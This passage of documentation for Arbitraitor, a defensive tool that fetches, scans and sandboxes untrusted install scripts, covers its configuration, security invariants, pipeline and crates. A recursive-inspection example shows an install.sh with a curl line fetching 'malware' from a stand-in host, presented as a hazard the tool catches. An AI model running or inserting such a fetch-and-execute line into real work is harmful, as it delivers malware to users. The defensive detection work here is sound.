  shell:           OK (28 categories)
  archive:         OK (6 formats, 15 hazard types)
  yarax:           OK (1,847 rules)
  powershell:      OK
  plugin-host:     OK (Wasmtime 28.0)

Intelligence:
  urlhaus:         OK (last sync: 2 minutes ago)
  community:       STALE (last sync: 6 hours ago)

Config:
  config.toml:     OK
  policy.toml:     OK (12 rules, 3 gates)

Overall: OK

Configuration

Arbitraitor uses TOML configuration files with layered defaults and project-specific overrides.

Configuration file locations

Arbitraitor reads configuration from (in order of precedence, later wins):

  1. Built-in defaults
  2. ~/.arbitraitor/config.toml (user-level)
  3. ./.arbitraitor/config.toml (project-level, if present)
  4. Path specified by --config <PATH> (overrides all of the above)

Project-level configuration (./.arbitraitor/config.toml) may only tighten inherited policy. It cannot add trust roots, enable plugins, or weaken execution controls. See ADR 0017 for details.

All configuration sections

[fetch]

Controls HTTP retrieval behavior.

[fetch]
# Maximum time for a single retrieval (seconds)
timeout = 30

# Maximum number of redirects to follow
max_redirects = 10

# TLS certificate verification
verify_tls = true

# Custom CA certificate bundle (path or "system")
# ca_bundle = "system"

# Proxy URL (http, https, socks5)
# proxy = "socks5://localhost:1080"

# User agent string
user_agent = "arbitraitor/0.1.0"

# Maximum response body size (bytes)
max_body_size = 100_000_000  # 100 MB

# SSRF protection: block private IP ranges
block_private_ip = true

# SSRF protection: block link-local addresses
block_link_local = true

[policy]

Controls verdict handling and approval flow.

[policy]
# Default action when findings exceed thresholds
default_action = "prompt"  # pass | warn | prompt | block

# Action in non-interactive mode when prompt is required
non_interactive_prompt_action = "block"  # pass | warn | block

# Verdict thresholds by severity
[policy.thresholds]
critical = "block"
high = "prompt"
medium = "warn"
low = "pass"

# Native binary execution gate
[policy.gates]
native = false  # require --native flag to run native binaries
network_in_mediated = false  # allow network in mediated execution
privilege_elevation = false  # allow sudo/su/doas in scripts

[detectors]

Enables and configures individual detectors.

[detectors]
# Shell script analysis
shell_analysis = true
max_shell_script_size = 5_000_000  # bytes

# Archive extraction and inspection
archive_analysis = true
max_archive_depth = 10
max_archive_size = 500_000_000  # bytes
max_archive_members = 10_000

# YARA-X rule scanning
yarax_analysis = true
yarax_rules_path = "./rules"  # path to .yarax files

# PowerShell analysis
powershell_analysis = true

# Antivirus adapters
av_analysis = true
# av_vendor = "clamav" | "defender"

# Intelligence feed matching
intel_matching = true

[store]

Content-addressed storage configuration.

[store]
# Store directory
path = "~/.arbitraitor/store"

# Maximum store size (bytes)
max_size = "10GB"

# Default retention period (days)
retention_days = 90

# Garbage collection schedule (cron expression)
# gc_schedule = "0 4 * * *"  # daily at 4 AM UTC

# Quarantine directory for manual review
quarantine_path = "~/.arbitraitor/quarantine"

# Enable cryptographic integrity checking
integrity_check = true

[intel]

Threat intelligence feed configuration.

[intel]
# Enable intelligence matching
enabled = true

# URLhaus feed for malware URLs
[intel.feeds.urlhaus]
enabled = true
url = "https://urlhaus.abuse.ch/downloads/json/"
api_key = "secret://env/URLHAUS_API_KEY"  # optional
refresh_interval = "1h"
cache_ttl = "24h"

# OpenSSF malicious-packages OSV querybatch response or signed mirror
[intel.feeds.ossf-malicious-packages]
enabled = true
url = "https://api.osv.dev/v1/querybatch"
refresh_interval = "24h"
cache_ttl = "24h"

# Community submissions feed
[intel.feeds.community]
enabled = true
url = "https://api.arbitraitor.org/community/indicators"
api_key = "secret://env/COMMUNITY_API_KEY"
refresh_interval = "6h"
cache_ttl = "24h"

[exec]

Mediated execution configuration.

[exec]
# Default assurance level for run command
default_assurance = "mediated"  # mediated | contained

# Working directory for mediated execution
# temp = use system temp directory (default)
# current = use current working directory
working_dir = "temp"

# Output size limit (bytes)
output_limit = 10_000_000  # 10 MB

# Execution timeout (seconds)
timeout = 300

# Sandbox profile
[exec.sandbox]
# Seccomp profile (auto, none, strict)
seccomp = "auto"

# Landlock filesystem restrictions (auto, none, strict)
landlock = "auto"

# Network policy in mediated mode (deny, read-only, full)
network = "deny"

[plugins]

Plugin runtime configuration.

[plugins]
# Enable plugin host
enabled = true

# Plugin search directories
paths = [
  "~/.arbitraitor/plugins",
  "./plugins",
]

# Wasmtime configuration
[plugins.wasmtime]
# Maximum memory per plugin instance (bytes)
max_memory = 134_217_728  # 128 MB

# Maximum execution time per call (ms)
call_timeout = 5000

# Maximum fuel (instructions)
max_fuel = 1_000_000_000

# Allow clock access
allow_clock = false

# Allow random
allow_random = true

# Subprocess plugin configuration
[plugins.subprocess]
# Allowed executable paths
allowed_paths = [
  "/usr/bin/clamscan",
  "/usr/bin/yara",
]

# Require digest pinning for executables
pin_executables = true

[receipt]

Receipt generation configuration.

[receipt]
# Signing key for receipts
signing_key = "secret://env/RECEIPT_SIGNING_KEY"

# Include transport metadata in receipts
include_transport_metadata = true

# Include detector findings in receipts
include_findings = true

# Receipt format version
format_version = "1.0"

[logging]

Logging configuration.

[logging]
# Log level (error, warn, info, debug, trace)
level = "info"

# Log format (text, json, compact)
format = "text"

# Output (stdout, stderr, file)
output = "stderr"

# Log file path (if output includes file)
path = "~/.arbitraitor/logs/arbitraitor.log"

# Include timestamp in logs
timestamps = true

# Enable structured fields
structured = true

Secret references

Secrets are never stored in configuration files. Instead, use secret references:

# From an environment variable
api_key = "secret://env/URLHAUS_API_KEY"

# From a file (path is expanded)
cert = "secret://file//path/to/cert.pem"

# From keyring (system keyring)
token = "secret://keyring/service/account"

The secret:// prefix tells Arbitraitor to resolve the value at runtime from the specified source.

Environment variables

These environment variables override configuration values:

VariableOverridesExample
ARBITRAITOR_CONFIGConfig file path/path/to/config.toml
ARBITRAITOR_POLICYPolicy file path/path/to/policy.toml
ARBITRAITOR_LOG_LEVELLog leveldebug
ARBITRAITOR_STORE_PATHStore directory/path/to/store
ARBITRAITOR_NO_COLORDisable color output1

Architecture Overview

Arbitraitor is organized as a Rust monorepo with focused crates that own specific responsibilities.

High-level component interaction

graph TD
    CLI[arbitraitor-cli]
    Fetch[arbitraitor-fetch]
    Store[arbitraitor-store]
    Analysis[arbitraitor-analysis]
    Policy[arbitraitor-policy]
    Exec[arbitraitor-exec]
    Sandbox[arbitraitor-sandbox]
    MCP[arbitraitor-mcp]
    PluginHost[arbitraitor-plugin-host]

    CLI --> Fetch
    CLI --> Analysis
    CLI --> Policy
    CLI --> Exec
    Fetch --> Store
    Analysis --> Store
    Exec --> Sandbox
    MCP --> Exec
    PluginHost --> Sandbox

High-level pipeline

graph TD
    CLI["arbitraitor-cli<br/>(argument parsing, output)"]
    Fetch["arbitraitor-fetch<br/>(HTTP retrieval, SSRF protection)"]
    Store["arbitraitor-store<br/>(content-addressed store, SHA-256)"]
    Analysis["arbitraitor-analysis<br/>(detection pipeline coordinator)"]
    Policy["arbitraitor-policy<br/>(TOML policy engine, verdicts)"]
    Core["arbitraitor-core<br/>(state machine, orchestration)"]
    Exec["arbitraitor-exec<br/>(mediated execution)"]
    Receipt["arbitraitor-receipt<br/>(RFC 8785 receipts)"]

    CLI -->|fetch request| Fetch
    Fetch -->|artifact bytes| Store
    Store -->|artifact bytes| Analysis
    Analysis -->|findings| Policy
    Policy -->|verdict| Core
    Core -->|execute| Exec
    Core -->|audit| Receipt

    subgraph detectors ["Detectors"]
        Shell["shell analyzer"]
        Archive["archive inspector"]
        YaraX["YARA-X scanner"]
        Pwsh["PowerShell analyzer"]
    end

    Analysis --- detectors

Core subsystems

Arbitraitor-fetch

HTTP retrieval with security controls. Owns:

  • Transport policy (TLS verification, redirect limits, timeout)
  • SSRF protection (private IP blocking, DNS rebinding defense)
  • Transport metadata recording (final URL, certificate chain)
  • Response buffering before release

Must not: Perform policy evaluation, make release decisions.

Arbitraitor-store

Content-addressed storage (CAS). Owns:

  • Immutable artifact storage by SHA-256 digest
  • Quarantine zone for manual review
  • Retention policy and garbage collection
  • Integrity verification

Must not: Authorize release. Only the core state machine does that.

Arbitraitor-analysis

Detection pipeline coordinator. Owns:

  • Orchestrating parallel detector execution
  • Aggregating findings across detectors
  • Payload graph discovery (archives, scripts within scripts)
  • Recursive inspection limits

Detectors it coordinates:

DetectorAnalyzes
arbitraitor-shellShell scripts (bash, dash)
arbitraitor-archiveArchives (tar, zip, gz, bz2, xz, 7z)
arbitraitor-yaraxYARA-X rule matches
arbitraitor-powershellPowerShell scripts (AST analysis)
arbitraitor-avClamAV, Microsoft Defender adapters

Arbitraitor-policy

TOML policy engine. Owns:

  • Rule evaluation against findings
  • Verdict computation
  • Policy document parsing and validation
  • Monotonic project policy enforcement

Arbitraitor-core

State machine. Owns:

  • Pipeline orchestration (the diagram above)
  • Approval flow coordination
  • Receipt generation coordination
  • Configuration loading and validation

Arbitraitor-exec

Execution broker. Owns:

  • Clean environment construction
  • Sandbox control application
  • Process execution and monitoring
  • Output capture and limiting

Must not: Make trust decisions. Only executes what the core approves.

Arbitraitor-receipt

Receipt generation. Owns:

  • RFC 8785 JCS canonical JSON
  • Receipt signing
  • Receipt schema versioning

Security boundaries

┌─────────────────────────────────────────────────────────┐
│                     UNTRUSTED INPUT                      │
│  (network, user-provided files, plugin output)            │
└──────────────────┬────────────────────────────────────────┘
                   │
                   ▼
┌─────────────────────────────────────────────────────────┐
│                 BOUNDARY: FETCH                          │
│  arbitraitor-fetch — retrieves and records metadata     │
│  SSRF protection enforced here                          │
└──────────────────┬────────────────────────────────────────┘
                   │ validated bytes
                   ▼
┌─────────────────────────────────────────────────────────┐
│                BOUNDARY: STORE (CAS)                    │
│  arbitraitor-store — immutable SHA-256 storage          │
│  No release decision made here                          │
└──────────────────┬────────────────────────────────────────┘
                   │ artifact handle (digest only)
                   ▼
┌─────────────────────────────────────────────────────────┐
│              BOUNDARY: ANALYSIS                         │
│  arbitraitor-analysis — detection pipeline              │
│  Produces findings, never releases bytes                 │
└──────────────────┬────────────────────────────────────────┘
                   │ findings
                   ▼
┌─────────────────────────────────────────────────────────┐
│              BOUNDARY: POLICY                           │
│  arbitraitor-policy — verdict computation               │
│  Produces verdict, never touches bytes                   │
└──────────────────┬────────────────────────────────────────┘
                   │ verdict
                   ▼
┌─────────────────────────────────────────────────────────┐
│              BOUNDARY: APPROVAL                          │
│  arbitraitor-core — human approval or policy capability  │
│  Plan-bound: artifact + context + policy bound          │
└──────────────────┬────────────────────────────────────────┘
                   │ approval token
                   ▼
┌─────────────────────────────────────────────────────────┐
│              BOUNDARY: EXECUTE                          │
│  arbitraitor-exec — mediated execution                   │
│  Uses exact CAS bytes, not re-fetched content            │
└──────────────────┬────────────────────────────────────────┘
                   │
                   ▼
┌─────────────────────────────────────────────────────────┐
│                    RECEIPT                              │
│  arbitraitor-receipt — signed audit trail               │
└─────────────────────────────────────────────────────────┘

Data flow

  1. Retrieval: Fetch records transport metadata and produces a CAS handle (digest)
  2. Storage: CAS stores bytes, returns handle to core
  3. Analysis: Analysis receives handle, produces findings keyed by digest
  4. Policy: Policy evaluates findings, produces verdict
  5. Approval: Core requests approval if verdict requires it
  6. Execution: Exec receives handle + approval, reads exact bytes from CAS
  7. Receipt: Receipt captures the full record with signatures

The artifact bytes are never passed by value across a boundary. Only handles (digests) flow between components after retrieval.

Crate responsibilities

See Crates for the full workspace layout and dependency graph.

Security Model

Arbitraitor enforces explicit policy at every boundary between retrieval, analysis, and execution.

Security invariants

These are non-negotiable. Any change that weakens them will be rejected.

1. No early release

No artifact byte reaches a downstream consumer before scanning and policy evaluation complete.

Detection and policy evaluation are not advisory. They are enforced. A detector that fails produces an incomplete verdict, not a clean result.

2. Immutable identity

Released bytes must hash to exactly the SHA-256 recorded in the verdict.

Re-verify the digest immediately before every release. If the stored digest does not match the on-disk bytes, block.

3. Single retrieval

The primary network response is not re-fetched between approval and execution.

Once the artifact is buffered in CAS, it stays there. Execution reads from CAS using the verified digest, not a new network request.

4. Bounded processing

Every parser, decompressor, scanner, and recursive operation has explicit time, memory, file-count, depth, and byte limits.

A maliciously crafted archive cannot exhaust memory or hang the analyzer. Limits are enforced in the store, the analysis coordinator, and each individual detector.

5. No implicit trust from location

HTTPS, a popular domain, or a successful download does not imply trust.

A script from github.com is treated the same as one from an unknown server. Trust comes from provenance (signatures, pinned digests) or explicit policy, not from the source URL.

6. Fail closed

When enforcement is mandatory, inability to complete a required check blocks release.

A detector that errors is not treated as passing. The verdict becomes incomplete and release is blocked until the issue is resolved or human override approves.

7. Plan-bound approval

Approval binds the artifact digest, interpreter, arguments, environment, filesystem/network grants, destination, policy snapshot, detector snapshots, expiry, and nonce.

Digest-only approval is replayable and forbidden. Changing any parameter of the execution plan requires fresh approval.

8. Monotonic project configuration

A project .arbitraitor.toml may only tighten inherited policy. It cannot add trust roots, enable plugins, permit uploads, or weaken execution controls.

Local configuration can restrict but cannot expand privileges. This prevents a malicious project configuration from weakening global policy.

9. Preserve platform provenance

Never silently remove macOS quarantine attributes or Windows Mark of the Web.

Platform provenance markers indicate the origin of downloaded content. Arbitraitor records them in receipts but does not strip them, preserving Gatekeeper and SmartScreen context.

10. Safe presentation

All untrusted text must be escaped and bounded before display. Plugins return structured data, never terminal control sequences.

Plugin output is never echoed to the terminal raw. Content from network responses is displayed through a renderer that escapes control characters and limits output length.

Threat model summary

Arbitraitor assumes:

  • Network is adversarial. SSRF, DNS rebinding, TLS downgrade, and CDN compromise are real threats.
  • Content publishers may be compromised. A legitimate domain can serve malicious content.
  • Human operators make mistakes. Arbitraitor enforces policy even when users intend to bypass it.

Arbitraitor does not assume:

  • That detection is complete. New malware variants may evade existing detectors.
  • That a scan means safe. The label is about what was observed, not a guarantee.
  • That approval implies safety. Approval binds context, but the artifact must still be inspected.

Assurance levels

Every operation reports which assurance level was in effect. These are documented in detail in ADR 0007.

LevelNameWhat it means
1InspectAnalysis only. No execution.
2MediatedExecuted with clean environment. Network denied by default.
3ContainedMediated plus verified platform isolation.

The verdict always includes the level: PASS (inspect), WARN (mediated), etc.

Plan-bound approval

When approval is required, it binds the entire execution context, not just the artifact digest.

The approval capability contains:

Artifact digest:      sha256:7c...
Operation:            run
Release mode:         execute
Interpreter:          /bin/bash sha256:a1b2...
Arguments:            [--prefix=/usr/local]
Environment digest:   sha256:b2c3...
Working directory:    /tmp/arbitraitor-xyz
Filesystem grants:     [/tmp/arbitraitor-xyz]
Network grants:       []
Sandbox requirements: mediated
Policy snapshot:      sha256:c3d4...
Detector snapshot:     sha256:d4e5...
Expiry:               2026-06-23T12:00:00Z
Nonce:                op-12345

Any change to these fields invalidates the approval. If the script is modified, the network policy changes, or the interpreter shifts, fresh approval is required.

See ADR 0013 for the full approval model.

No-root invariant

Arbitraitor analysis, parsing, rule evaluation, and plugin execution never require elevated privileges. Running Arbitraitor as root is blocked by default.

Elevation requests (sudo, su, doas, pkexec, UAC) within a script are detected by shell analysis and blocked during mediated execution.

See ADR 0009 for the full privilege separation model.

Sandbox capabilities

When Level 3 (Contained) execution is requested, the following controls are verified:

ControlRequirement
Filesystem isolationEnforced (Landlock, chroot, or equivalent)
Process-tree containmentEnforced
Network policyEnforced
Resource limitsEnforced (memory, CPU, file size)
Privilege suppressionno-new-privileges or platform equivalent
Capability probeProves controls are active

These are reported per-control in the receipt, not as a single boolean. Landlock ABI probing and receipt recording are documented in ADR 0028.

macOS containment (§27.4)

macOS contained assurance has two complementary paths:

  • Containerization (preferred on macOS 26+) — Apple’s Containerization framework (open-sourced WWDC 2025-06-09) gives each Linux container its own lightweight VM: per-container EXT4 block device, isolated IP on a host-side bridge, sub-second start times, and no shared kernel. The VM boundary satisfies the ADR-0007 control matrix without a System Extension, Developer ID signing, or end-user install consent.
  • Endpoint Security framework (observation-only) — still the supported path on macOS 13–15, Intel macOS, and any host where container CLI is unavailable. Provides process-tree, file-access, and network-connection events but cannot enforce a complete containment profile; contained requests downgrade to mediated (or block per policy).

Receipts on macOS 26+ record containerization_available alongside the other §27.7 effective-controls so auditors can distinguish contained-on-containerization from contained-on-other-adapter.

See ADR 0024 for the

macOS 13–15 / Intel deferral and ADR 0034 for the macOS 26+ Containerization strategy.

Receipt integrity

Receipts are signed using RFC 8785 JCS canonical JSON. The signature covers:

  • Artifact digest
  • All findings
  • Verdict and assurance level
  • Policy and detector snapshots
  • Execution context (for run operations)
  • Capability matrix (for contained execution)

Receipts can be verified independently and used as audit evidence.

SBOM and VEX ingestion

Arbitraitor consumes SBOM and VEX documents at the policy and provenance boundary but never produces, signs, or republishes them. Ingestion covers four formats: CycloneDX 1.6+ (with the CDXA ML/AI and CBOM cryptography extensions), SPDX 2.2.1, OpenVEX 0.2.0, and CSAF 2.1 (ISO/IEC 20153, May 2025). The expected shape is the CISA 2025 SBOM Minimum Elements revision (the four new fields Component Hash, License, Tool Name, Generation Context, plus the Software Producer and Coverage renames) and, when an SBOM declares AI content, the five SBOM-for-AI clusters (System-Level Properties, Data Properties, Model Properties, Infrastructure, Security Properties). Documents missing required fields are rejected with a typed error; AI clusters are surfaced into receipt metadata and treated as advisory signals (never verdict inputs). EU CRA Annex I Part II becomes effective for products placed on the EU market from 11 December 2027; the CycloneDX and SPDX profiles here consume CRA-shaped SBOMs unmodified.

See ADR 0030 for the per-format field mapping and SBOM and VEX ingestion for the user-facing reference.

Pipeline

The Arbitraitor pipeline transforms an untrusted URL into an inspected artifact with a signed verdict and optional mediated execution.

Pipeline flow

graph TD
    A[Resolve Policy] --> B[Retrieve Once]
    B --> C[Record Transport Metadata]
    C --> D[Buffer Immutable Bytes]
    D --> E[Identify Content]
    E --> F[Hash & Verify Provenance]
    F --> G[Inspect Reputation]
    G --> H[Scan Content]
    H --> I[Recursive Payload Discovery]
    I --> J[Calculate Verdict]
    J --> K{Verdict}
    K -->|Pass/Warn| L[Release/Execute]
    K -->|Prompt| M[Request Approval]
    M -->|Approved| L
    M -->|Denied| N[Exit: Denied]
    L --> O[Emit Signed Receipt]

Pipeline stages

┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 1: RETRIEVE                                                    │
│                                                                      │
│ Input:  URL                                                           │
│ Output: CAS handle (immutable digest) + transport metadata          │
│                                                                      │
│ - Resolve URL (handle redirects, SSRF check)                         │
│ - Verify TLS certificate chain                                       │
│ - Record final URL after redirects                                   │
│ - Buffer response body in CAS                                        │
│ - Compute SHA-256 digest                                             │
│ - Store transport metadata (IP, TLS cert, timing)                    │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 2: IDENTIFY                                                     │
│                                                                      │
│ Input:  CAS handle                                                   │
│ Output: Content type, magic bytes signature                           │
│                                                                      │
│ - Read magic bytes from CAS                                          │
│ - Match against known content types                                  │
│ - Detect shell scripts, archives, binaries, documents                │
│ - Classify as text or binary                                         │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 3: PROVENANCE                                                   │
│                                                                      │
│ Input:  CAS handle, content type                                     │
│ Output: Provenance attestations (signatures, attestations)           │
│                                                                      │
│ - Check for minisign/cosign signatures                               │
│ - Verify TUF metadata if configured                                 │
│ - Check digest pins (TOFU mode)                                     │
│ - Record all provenance sources in receipt                           │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 4: ANALYZE                                                      │
│                                                                      │
│ Input:  CAS handle, content type                                     │
│ Output: Findings from all applicable detectors                        │
│                                                                      │
│ - Run enabled detectors in parallel                                  │
│ - Shell: parse AST, extract URLs/commands/hazards                   │
│ - Archive: recursively extract and inspect members                   │
│ - YARA-X: match rules against content                               │
│ - PowerShell: AST analysis for suspicious patterns                  │
│ - AV: signature scan with configured vendors                        │
│ - Intel: match indicators against feeds                             │
│ - Aggregate all findings by severity and category                    │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 5: EVALUATE                                                     │
│                                                                      │
│ Input:  Findings, content type, provenance                           │
│ Output: Verdict (pass/warn/incomplete/block)                         │
│                                                                      │
│ - Apply policy rules to findings                                    │
│ - Check thresholds by severity                                      │
│ - Factor in provenance (signatures may lower effective severity)    │
│ - Check approval requirements                                        │
│ - Produce structured verdict with reasoning                          │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 6: APPROVE (if required)                                       │
│                                                                      │
│ Input:  Verdict, execution plan                                      │
│ Output: Approval capability or denial                                │
│                                                                      │
│ - If verdict is pass: auto-approve                                   │
│ - If verdict is warn and auto-approve enabled: approve              │
│ - If verdict requires human review:                                  │
│     - Present plan digest for interactive approval                  │
│     - Or validate pre-issued policy capability                       │
│ - If verdict is block or incomplete: deny                           │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 7: EXECUTE (if approved)                                       │
│                                                                      │
│ Input:  CAS handle, approval capability                             │
│ Output: Execution output, exit code                                   │
│                                                                      │
│ - Verify digest matches approved plan                                │
│ - Construct clean execution environment                              │
│ - Apply sandbox controls per assurance level                         │
│ - Execute exact CAS bytes (not re-fetched)                          │
│ - Capture stdout/stderr with limits                                 │
│ - Enforce timeout                                                    │
│ - Record actual controls in effect                                   │
└─────────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 8: RECEIPT                                                      │
│                                                                      │
│ Input:  All pipeline metadata and outputs                            │
│ Output: Signed JSON receipt                                           │
│                                                                      │
│ - Canonicalize using RFC 8785 JCS                                   │
│ - Sign with configured signing key                                   │
│ - Include full findings, verdicts, transport metadata               │
│ - Include capability matrix if contained execution                   │
│ - Emit receipt to configured output                                  │
└─────────────────────────────────────────────────────────────────────┘

Verdict computation

The verdict is computed by evaluating policy rules against findings:

# Example policy
[policy.thresholds]
critical = "block"
high = "prompt"
medium = "warn"
low = "pass"

# Provenance can override
[policy.overrides]
# A valid signature from a trusted key lowers severity
"minisign:trusted-key-123" = { critical = "warn", high = "pass" }

If provenance attests the artifact, the override applies. Otherwise, thresholds control the verdict.

Receipt generation

Every pipeline run produces a receipt regardless of verdict. Receipts are:

  • Canonical: RFC 8785 JCS canonical JSON (deterministic byte output)
  • Signed: HMAC or minisign signature over the canonical form
  • Complete: Includes all metadata, findings, and execution context
{
  "schema_version": 2,
  "request": {
    "arbitraitor_version": "0.1.0"
  },
  "artifact": {
    "sha256": "7c1a...",
    "size": 4096,
    "artifact_type": "shell-script"
  },
  "retrieval": {
    "requested_url": "https://example.com/install.sh",
    "final_url": "https://example.com/install.sh",
    "status_code": 200,
    "content_type": "application/x-shellscript",
    "byte_count": 4096,
    "tls_version": "TLSv1.3"
  },
  "provenance": {},
  "payload_graph": null,
  "detectors": [],
  "findings": [
    {
      "id": "network:curl",
      "category": "suspicious_script_behavior",
      "severity": "high",
      "confidence": "high",
      "title": "Downloads content via curl"
    }
  ],
  "policy": {},
  "verdict": {
    "verdict": "warn",
    "deciding_rule": null,
    "policy_trace": []
  },
  "release": null,
  "timestamps": {
    "created": "2026-06-23T12:00:00Z",
    "modified": "2026-06-23T12:00:00Z"
  }
}

Recursive inspection

Archives and composite files are recursively inspected:

install.tar.gz
  ├── install.sh      -> analyzed by shell detector
  │     └── curl https://payload.com malware -> detected as recursive hazard
  ├── config.yml      -> analyzed for credentials/hazards
  └── bin/
        └── tool      -> binary analysis if native mode enabled

Recursion depth and total extracted size are bounded to prevent zip bombs and similar attacks.

Error handling

ErrorResult
Network failure during fetchVerdict: incomplete, blocked
TLS verification failureVerdict: block (hardcoded policy)
Content too largeVerdict: incomplete, truncated
Detector panicCatch, log, verdict: incomplete
Timeout exceededKill, verdict: incomplete
CAS read failureVerdict: incomplete, block re-execution

Sigstore Bundle policy enforcement

Sigstore Bundle consumption is policy-enforced per spec §14.2.1. After cosign verify-blob succeeds cryptographically, the bundle is validated against a SigstoreBundlePolicy that enforces:

  • Media type: the mediaType field must be one of the accepted version strings (application/vnd.dev.sigstore.bundle+json;version=0.1, 0.2, 0.3). Unknown or missing media types are rejected.

  • Verification material form: the bundle must contain a verificationMaterial field with one of three accepted forms: x509CertificateChain (form 1), publicKey (form 2), or x509Certificate (form 3, required for v0.3 keyless). All three forms are accepted by default.

  • Signature payload: the bundle must contain either a messageSignature or a dsseEnvelope. Bundles missing both are rejected.

  • Transparency-log evidence: controlled by TlogPolicy:

    PolicyRequirement
    RequireInclusionProof (default)Each tlog entry must carry an inclusionProof (Merkle proof)
    RequireInclusionPromiseEach tlog entry must carry an inclusionPromise (signed by Rekor)
    RequireBothEach tlog entry must carry both proof and promise
    OptionalTlog entries not required; bundle may rely on RFC 3161 timestamps alone
  • RFC 3161 timestamps: accepted as signing-time evidence when Rekor is unreachable (air-gapped hosts, SSRF-restricted networks).

  • Online vs offline mode: offline verification is the default. Online Rekor search is opt-in and never produces a stronger verdict than offline inclusion-proof verification.

Identity/issuer binding is not inferred from the Bundle — it is supplied by local policy via --identity and --issuer.

A Bundle without an inclusion proof and without an RFC 3161 timestamp is recorded as unverified and must not be treated as a valid signature.

Crates

The Arbitraitor workspace is organized into focused crates. Each crate has a clear responsibility and strict boundary rules.

Workspace layout

arbitraitor/                           # Workspace root (Cargo.toml)
├── crates/
│   ├── arbitraitor-cli/               # CLI entry point (23 subcommands)
│   ├── arbitraitor-core/              # State machine, config, health checks
│   ├── arbitraitor-model/             # Domain types, receipts, findings (newtypes)
│   ├── arbitraitor-fetch/             # HTTP retrieval with SSRF protection
│   ├── arbitraitor-store/             # Content-addressed storage (CAS)
│   ├── arbitraitor-artifact/           # Content classification (ELF, PE, Mach-O, shebang)
│   ├── arbitraitor-analysis/           # Detection pipeline coordinator
│   ├── arbitraitor-shell/              # Shell script analyzer (bash/dash)
│   ├── arbitraitor-powershell/         # PowerShell AST analyzer
│   ├── arbitraitor-yarax/              # YARA-X scanner
│   ├── arbitraitor-archive/            # Archive inspector (6 formats, 15 hazards)
│   ├── arbitraitor-av/                 # Antivirus adapters (ClamAV, Defender)
│   ├── arbitraitor-provenance/         # Signature verification
│   ├── arbitraitor-intel/             # Intelligence feeds
│   ├── arbitraitor-policy/             # TOML policy engine
│   ├── arbitraitor-receipt/            # RFC 8785 canonicalized receipts
│   ├── arbitraitor-exec/              # Mediated execution (script + native + PowerShell)
│   ├── arbitraitor-sandbox/            # Process hardening (prctl, close_range, setrlimit)
│   ├── arbitraitor-mcp/               # MCP server (inspect, scan, explain, approve, execute)
│   ├── arbitraitor-plugin-api/         # Plugin trait hierarchy
│   ├── arbitraitor-plugin-host/        # Plugin runtime (subprocess + Wasmtime)
│   ├── arbitraitor-wrapper/            # curl/wget wrapper translators + per-shell init
│   ├── arbitraitor-daemon/             # Unix socket daemon (experimental)
│   ├── arbitraitor-package-manager/    # Registry adapters (experimental: cargo, npm, uv, pnpm, yarn, bun)
│   ├── arbitraitor-update/             # Signed update manifest verification
│   ├── arbitraitor-testkit/            # Test infrastructure (SSRF, TLS, raw TCP helpers)
│   └── arbitraitor-workspace-hack/      # hakari-managed dependency deduplication
├── book/                               # mdBook documentation
├── docs/                               # ADRs, conventions, research
├── wit/                                # WIT interface definitions
├── rules/                              # YARA-X rule packs
├── schemas/                            # JSON schemas
├── plugins/                            # Built-in plugins
└── fixtures/                           # Test fixtures

Crate responsibilities

arbitraitor-model

Serializable domain types. Newtypes for all semantic primitives.

Owns: Sha256Digest, ArtifactId, Finding, Verdict, Receipt, Policy, ExecutionPlan Must not: I/O, business logic, network, side effects

arbitraitor-core

State machine and orchestration. Loads config, coordinates pipeline.

Owns: Arbitraitor state machine, config loading, health checks, metrics Must not: Direct HTTP calls, store implementation details, policy syntax

arbitraitor-fetch

HTTP retrieval with security controls.

Owns: Transport policy, redirect following, TLS verification, SSRF protection, transport metadata recording Must not: Policy evaluation, release decisions

arbitraitor-store

Content-addressed storage (CAS).

Owns: Immutable artifact storage, quarantine, retention/GC, integrity verification Must not: Authorization decisions (only CAS operations)

arbitraitor-analysis

Detection pipeline coordinator.

Owns: Orchestrating detector execution, aggregating findings, payload graph discovery Must not: Direct release/execution decisions

arbitraitor-policy

TOML policy engine.

Owns: Rule evaluation, verdict computation, policy document parsing Must not: Network, retrieval, storage

arbitraitor-exec

Mediated execution broker.

Owns: Environment construction, sandbox application, process execution Must not: Trust decisions, scanning logic

arbitraitor-plugin-host

Plugin runtime supporting Wasmtime Component Model and subprocess protocols.

Owns: Plugin lifecycle, capability enforcement, WASM sandboxing Must not: Native ABI loading, arbitrary dynamic library loading

arbitraitor-cli

Command-line interface.

Owns: Argument parsing, output formatting, user interaction Must not: Business logic (delegates to core)

arbitraitor-artifact

Content classification and magic byte detection.

Owns: Artifact type detection (ELF, PE, Mach-O, ZIP, tar, gzip, xz, bzip2, zstd), shell shebang parsing, content-type heuristics Must not: Policy evaluation, execution decisions

arbitraitor-av

Antivirus adapter trait and implementations.

Owns: ClamAV (clamd streaming), Microsoft Defender CLI adapter, signature-freshness snapshots (§18.3), macOS stable-facility helpers (xattr, mdfind per §41.13) Must not: Policy decisions, trust verdicts

arbitraitor-package-manager

Registry adapter trait and per-tool implementations.

Experimental: This crate is under active development. Adapters provide recipe definitions and lockfile parsing, but full lifecycle enforcement (registry proxy, post-install scan, build sandbox) is not yet wired through the CLI. Per spec §39.14, per-tool adapters should eventually move to first-party plugins. The crate is included for foundational types only.

Owns: RegistryAdapter trait, cargo/uv/npm/pnpm/yarn/bun adapters, lockfile parsing, build script analysis, lifecycle policy enforcement Must not: Direct execution, policy override

arbitraitor-wrapper

curl/wget wrapper translators and per-shell initialization.

Shell support: 10 shells — bash, zsh, sh, fish, nushell, xonsh, powershell, elvish, posix, tcsh. Use arbitraitor wrappers init --detect-shell to auto-detect.

Owns: Wrapper argument translation, shell init script generation (10 shells), rcfile installation with idempotent markers and injection-hardened path validation Must not: Policy evaluation, execution

